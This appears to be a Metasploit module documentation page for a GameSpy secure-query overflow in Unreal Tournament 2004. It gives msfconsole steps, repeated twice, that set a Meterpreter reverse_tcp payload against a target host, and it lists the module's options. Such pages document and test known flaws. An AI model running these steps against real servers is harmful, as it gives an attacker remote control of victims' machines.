Unreal Tournament 2004 "secure" Overflow (Win32)
This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to bruteforce the service and exploit it multiple times.
Exploit Rank
- Good
Exploit Authors
- stinko < vinnie [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - UT2004 Build 3186 (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/games/ut2004_secure
msf exploit(ut2004_secure) > show payloads
msf exploit(ut2004_secure) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ut2004_secure) > set LHOST [MY IP ADDRESS]
msf exploit(ut2004_secure) > set RHOST [TARGET IP]
msf exploit(ut2004_secure) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/games/ut2004_secure
msf exploit(ut2004_secure) > show payloads
msf exploit(ut2004_secure) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ut2004_secure) > set LHOST [MY IP ADDRESS]
msf exploit(ut2004_secure) > set RHOST [TARGET IP]
msf exploit(ut2004_secure) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 7787) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
